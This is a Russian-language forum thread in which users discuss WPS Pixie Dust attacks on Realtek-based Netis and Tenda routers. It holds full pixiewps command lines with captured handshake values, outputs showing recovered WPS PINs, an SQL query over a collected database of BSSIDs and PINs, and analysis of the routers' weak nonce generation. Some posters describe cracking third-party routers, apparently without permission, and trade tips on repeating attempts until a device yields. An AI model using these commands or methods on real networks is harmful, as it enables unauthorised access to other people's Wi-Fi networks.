Поискать по запросу могу, но этот запрос не проходит, нет колонок OUI и NIC, есть только BSSID в десятиричном виде.
Тогда так: Code: SELECT LPAD(CONV(BSSID>>24,10,16),6,'0') OUI, COUNT(DISTINCT(FLOOR(PIN/10)))/COUNT(DISTINCT(FLOOR(PIN/10))-(BSSID&255)-(BSSID>>8&255)-(BSSID>>16&255)) y FROM [TABLE] GROUP BY OUI HAVING y>2 ORDER BY OUI; А пока хотелось бы посмотреть выборку с моделями по C0:A5D и C8:E78--там довольно много целевых устройств.
Я к запросу ещё добавил исключение записей без BSSID и без WPS PIN. Spoiler: Выдача 55 строк Code: "00026F" "2,7427" "001E6E" "2,7857" "00271C" "3,5567" "009ACD" "2,0842" "00B0C0" "12,2571" "020271" "6,8252" "145F94" "2,3586" "14A51A" "2,6242" "14A9E3" "5,0520" "1C0656" "4,2500" "2008ED" "2,0664" "20F3A3" "6,5510" "240995" "2,3696" "24DF6A" "2,1497" "2C67FB" "9,6480" "2C67FC" "8,1705" "386B1C" "26,3667" "404D8E" "2,8790" "44C346" "2,2225" "4E9EFF" "2,0645" "5001D9" "2,4718" "581F28" "2,4818" "5C4CA9" "2,5686" "5C7D5E" "3,8778" "620271" "2,6105" "6A0271" "2,5712" "6A1AB2" "22,6522" "6C7220" "3,4319" "7062B8" "3,4416" "720271" "2,5680" "80717A" "2,1666" "88DC96" "5,0556" "9094E4" "2,3640" "98F537" "2,6238" "A08D16" "2,0798" "ACCF85" "2,1064" "B08900" "2,3858" "B43052" "2,3661" "B808D7" "2,6950" "C0A0BB" "3,6600" "C0A5DD" "36,3333" "C4072F" "2,7441" "C4A81D" "2,8809" "C8E7D8" "60,1724" "CA64C7" "26,1000" "D06F82" "3,1665" "D2154A" "3,0000" "D4BF7F" "3,3709" "D8FEE3" "2,0379" "DC094C" "2,3153" "ECCB30" "2,2472" "F4559C" "4,7755" "F48E92" "2,7001" "F49FF3" "2,0439" "F4C714" "2,6667"
На роутерах на базе Realtek есть баг благодаря которому pixie dust может брать точки которые раньше брать было не возможно. Как спровоцировать баг неизвестно Под спойлерами выхлоп pixie dust. Тесты проводились на одной и той же точке. Это был Netis WF2411E_RU Router - RTL8xxx EV-2010-09-20. Spoiler: Точка забагалась Pixiewps 1.4 [?] Mode: 3 (RTL819x) [*] Seed N1: - [*] Seed ES1: - [*] Seed ES2: - [*] PSK1: ffa4717018d002846783d578d71d2c3d [*] PSK2: 883da0b1478636dd572a127aca92884c [*] ES1: 5b8d5b7523d09d623bb7521b5570725d [*] ES2: 5b8d5b7523d09d623bb7521b5570725d [+] WPS pin: 31160506 [*] Time taken: 0 s 217 ms Spoiler: Точка разбагалась [?] Mode: 3 (RTL819x) [*] Seed N1: 1602253026 (Fri Oct 9 14:17:06 2020 UTC) [*] Seed ES1: 1602253027 (Fri Oct 9 14:17:07 2020 UTC) [*] Seed ES2: 1602253027 (Fri Oct 9 14:17:07 2020 UTC) [*] PSK1: 634b89396693a821826313e34fbe5b12 [*] PSK2: ac85ba44712417e7daf5b0e59e3918ca [*] ES1: 52ba659069f573331c745e77357ded8e [*] ES2: 52ba659069f573331c745e77357ded8e [+] WPS pin: 31160506 [*] Time taken: 0 s 217 ms Баг также проявляется на Тендах и регистраторах от Xiaomi: YICarCam
Может баг возникает при первом подключении через wps после перезагрузки? Решил на удачу сломать нетис с сильным сигналом и плохими клиентами, и сразу словил этот баг. Code: pixiewps -e d0:14:1b:15:65:6e:96:b8:5f:ce:ad:2e:8e:76:33:0d:2b:1a:c1:57:6b:b0:26:e7:a3:28:c0:e1:ba:f8:cf:91:66:43:71:17:4c:08:ee:12:ec:92:b0:51:9c:54:87:9f:21:25:5b:e5:a8:77:0e:1f:a1:88:04:70:ef:42:3c:90:e3:4d:78:47:a6:fc:b4:92:45:63:d1:af:1d:b0:c4:81:ea:d9:85:2c:51:9b:f1:dd:42:9c:16:39:51:cf:69:18:1b:13:2a:ea:2a:36:84:ca:f3:5b:c5:4a:ca:1b:20:c8:8b:b3:b7:33:9f:f7:d5:6e:09:13:9d:77:f0:ac:58:07:90:97:93:82:51:db:be:75:e8:67:15:cc:6b:7c:0c:a9:45:fa:8d:d8:d6:61:be:b7:3b:41:40:32:79:8d:ad:ee:32:b5:dd:61:bf:10:5f:18:d8:92:17:76:0b:75:c5:d9:66:a5:a4:90:47:2c:eb:a9:e3:b4:22:4f:3d:89:fb:2b -r ba:bd:fa:ee:b1:3e:a0:ca:0a:6b:18:cd:14:88:78:48:88:07:18:d8:69:dc:7a:87:dd:f0:d9:93:9d:5e:f1:7e:dd:3c:11:e7:b6:12:4c:19:32:37:26:ef:51:5f:40:92:eb:fb:cd:d9:f9:d5:13:90:6c:ed:05:c3:4d:e1:88:11:79:56:ec:15:57:a1:64:21:69:a8:79:07:09:d6:14:83:f1:6f:ce:46:fd:59:f2:b8:ed:55:23:e0:83:4b:98:07:cb:16:fb:e0:cd:4b:00:fd:da:24:2f:f5:8c:0c:a8:e2:47:d3:e3:83:a6:66:49:c3:6a:29:6d:4d:11:49:be:e3:45:40:8c:bf:1b:4b:29:99:42:8d:c3:ed:6d:07:0d:00:ca:ca:eb:14:f1:1f:dd:84:dc:2e:3f:fc:0f:14:77:6f:0d:6e:66:64:0b:c3:03:c8:51:4c:72:80:4b:21:94:63:cf:ff:84:a7:39:bd:61:05:57:ed:eb:a5:57:cd:aa:e9 -s 40:ed:69:e8:26:19:89:fd:f9:52:34:7e:23:1e:80:5f:fc:d0:f7:9a:2f:ae:be:29:02:cc:8a:7b:8c:7c:f6:5f -z d4:0b:ad:de:54:a8:36:88:aa:e0:b5:22:ee:ca:d9:91:6a:06:7c:5e:6e:79:13:eb:2b:61:5c:ee:a7:2e:7f:de -a 2b:72:3c:0f:c8:ad:41:b9:cc:17:0d:08:91:9a:21:aa:7a:7f:8e:8a:d2:27:df:b3:52:83:98:57:44:99:87:ba -n 6a:2d:d5:53:3e:cf:3d:dc:6b:bd:35:29:0a:7d:7d:62 -m 50:e4:07:36:30:d6:10:f8:74:3a:74:72:87:d9:d0:27 -v 3 --force Code: Pixiewps 1.4 [?] Mode: 3 (RTL819x) [*] Seed N1: - [*] Seed ES1: - [*] Seed ES2: - [*] PSK1: 198320541c5e9596caa3dbc2cfd25634 [*] PSK2: 33027afb9d27de4236880b776734f16e [*] ES1: 6a2dd5533ecf3ddc6bbd35290a7d7d62 [*] ES2: 6a2dd5533ecf3ddc6bbd35290a7d7d62 [+] WPS pin: 08367044 [*] Time taken: 0 s 11 ms Такой же Netis WF2411E_RU, прошивка 2.4.41346 Странно так же и то, что точка после этого бага продолжает использовать время в качестве рандома.
В вашем логе нет ничего особенного. Точка генерирует три "случайных" числа. Одно из них известно (-n 6a:2d... на входе pixewps). Два других (ES1, ES2) нужно подобрать. Так вот, если realtek генерирует эти три числа в течение одной секунды то они оказываются... равны. Потому что генератор каждый раз инициализируется номером текущей секунды (Seed N1). И подбирать номер той секунды попросту не нужно. Что мы и наблюдаем в логе. А если не равны? Тогда по известному числу (-n 6a:2d...) был бы подобран номер секунды (Seed N1) и проверялись бы Seed ES1,2 из предположения, что они по номеру где-то рядом.
В том-то и дело, что когда seed у E-Nonce, E-S1 и E-S2 основаны на времени и равны (или отличаются в секунду-две), они печатаются напротив "Seed N1:" и "Seed N2:", то есть пользователь видит 2 timestamp, совпадающих или отличающихся в 1-2 секунды — здесь же прочерки. Что значат эти прочерки, я не разобрался, т.к. чтение исходников Pixiewps на Си я пока что не поднимаю.
Прочерки означают, что эти значения не вычислялись. Они нужны только для вычисления E-S1,2. Поскольку E-S1,2 оказались известны, seed не нужно вычислять.
Хорошо, тогда на чём основаны E-Nonce, E-S1 и E-S2, если они не вычисляются с помощью PRNG на основе текущего времени? Это какие-то константы? Если так, то об этом не говорилось в оригинальной презентации Доминика Бонгарда, а также в других источниках.
И они заюзали сишный rand для генерации чисел? Осталось только понять почему девайсы через n попыток перестают вычислять значения и в итоге мы берём точку с помощью pixiewps
В копилку уязвимого добавляется netis WF2409E_RU с прошивкой 3.6.40537. Баг стабилен, точки сдаются все. Старые нетисы, которые с EV-2009-02-06 не сдаются, но ЕМНИП у них WPS сломан полностью. Попробовал какую-то двухдиапазонную тенду бахнуть, pixiewps сразу завершился, рапортуя что pin not found. Хотя она то же EV-2010-09-20, как и дырявые нетисы. Не все так однозначно, получается.
Есть. В основном устройства на которых работает такая фича это Тенды на базе eCos. И это очень забавно с учётом того что китайцы знают про атаку pixie dust. https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/wsc.h#L1920
Да, нужно бездумно тыкать, увы. Роутер может послать 9 раз, а на 10 разу сдаться, а может и после 20 раза послать так и не открывшись. Рандом. Если уж совсем роутер не жалко то можно и потыкать
Попытался понять, как генерируются E-Nonce, E-S1 и E-S2 в роутерах Tenda с прошивками на базе eCos. Видно, что для генерации используется функция generate_random: https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/txpkt.c#L2793 https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/txpkt.c#L2618 https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/txpkt.c#L2650 Она реализована здесь: https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/utils.c#L3605 Видно, что в случае, если код собирается для eCos, сначала в буфер data записываются псевдослучайные байты, полученные генератором из стандартной библиотеки (generate_random2), но затем к ним подмешивается энтропия из какого-то встроенного пула (https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/utils.c#L3631) и из генератора OpenSSL (https://github.com/drygdryg/Tenda-AC/blob/master/rtk_trunk/ecos-work/AP/wsc/src/utils.c#L3655). Я попытался собрать этот генератор, но пока что ничего не выходит: не могу слинковать с OpenSSL. @VasiliyP, посмотрите по свободе, пожалуйста.
Мне Monohrom показывал логи от такой тенды. E-Nonce - это то, что на выходе генератора псевдослучайных чисел. Поскольку E-Nonce не содержат никаких приватных данных, я их опубликую здесь. Code: [P] E-Nonce: 284891A9294E1F230680AA030EB6D58A 0x284891A9 0x294E1F23 0x0680AA03 0x0EB6D58A [P] E-Nonce: 02F582ED1BA7EDD81EA66A7B11412AE7 0x02F582ED 0x1BA7EDD8 0x1EA66A7B 0x11412AE7 [P] E-Nonce: 4F7FD0AE1DD61ABD5D3C4C321B10A7A4 0x4F7FD0AE 0x1DD61ABD 0x5D3C4C32 0x1B10A7A4 [P] E-Nonce: 2D9D6A736C4AD1C62BB603BA7BF1B2CA 0x2D9D6A73 0x6C4AD1C6 0x2BB603BA 0x7BF1B2CA [P] E-Nonce: 0BBB03B73ABF884F7A2FBB425CD2BDEF 0x0BBB03B7 0x3ABF884F 0x7A2FBB42 0x5CD2BDEF [P] E-Nonce: 140FF4243D6879DC23D6A60828478046 0x140FF424 0x3D6879DC 0x23D6A608 0x28478046 [P] E-Nonce: 5CE999E5639BBEED2BD890B053E0473A 0x5CE999E5 0x639BBEED 0x2BD890B0 0x53E0473A [P] E-Nonce: 25C33F2709AF03FF33DA7B587F790E2F 0x25C33F27 0x09AF03FF 0x33DA7B58 0x7F790E2F [P] E-Nonce: 6B0C3C6753A7603D05686EF04CDB1F5B 0x6B0C3C67 0x53A7603D 0x05686EF0 0x4CDB1F5B [P] E-Nonce: 33E5E1A979DAA4CF0D8A59187853E650 0x33E5E1A9 0x79DAA4CF 0x0D8A5918 0x7853E650 Я эти числа разбил на слова по 4 байта. Посмотрите, старший бит каждого слова всегда == 0. Генератор в ваших исходниках таким свойством не обладает. Стало быть, это не он. Это копия генератора из ядра linux(/dev/urandom), он там меняется от версии к версии, но примерно вот этот: https://elixir.bootlin.com/linux/v2.6.39.4/source/drivers/char/random.c#L467
Сегодня мною был обнаружен глючный тип роутеров Netis. Началось с того, что на одном из таких Pixiewps серьёзно задумалась (почти на 2 минуты), и это при том, что я не запускал её с флагом --force. Вскоре выяснилось, что причина в том, что Pixiewps, найдя seed E-Nonce, не может найти seed E-S1,2. Нашёл seed E-Nonce я вручную с помощью вот такого генератора (взят из исходников демона wsc от Realtek). После пары часов копания в исходниках и чтения листингов Гидры я заметил, что числа E-Hash1 и E-Hash2, которые я получил в M3, равны. Давайте порассуждаем. Сразу хочу напомнить, как генерируются E-Hash1,2: Code: E-Hash1 = HMAC-SHA-256(authkey) (E-S1 | PSK1 | PKE | PKR) E-Hash2 = HMAC-SHA-256(authkey) (E-S2 | PSK2 | PKE | PKR) где PSK1,2 — это Code: PSK1 = HMAC-SHA-256(authkey) (первые_4_цифры_пина) PSK2 = HMAC-SHA-256(authkey) (последние_4_цифры_пина) Хорошо, если хэши равны, то можно предположить, что E-S1 = E-S2 (допустим, они генерировались в одну и ту же секунду), но тогда и PSK1 должен быть равен PSK2, но при этом я знаю, что первая часть пин-кода не совпадает со второй, как тогда такое может быть? Сразу же после того, как заметил это, попытался подключиться с пин-кодом из настроек роутера, и... неудача. Вывод прост: китайцы допустили баг в генерации хэшей. Обращайте внимание на E-Hash1,2, если они равны, то, может быть, нет смысла мучить железку? К сведению: Netis WF2419, версия прошивки V2.2.41694.
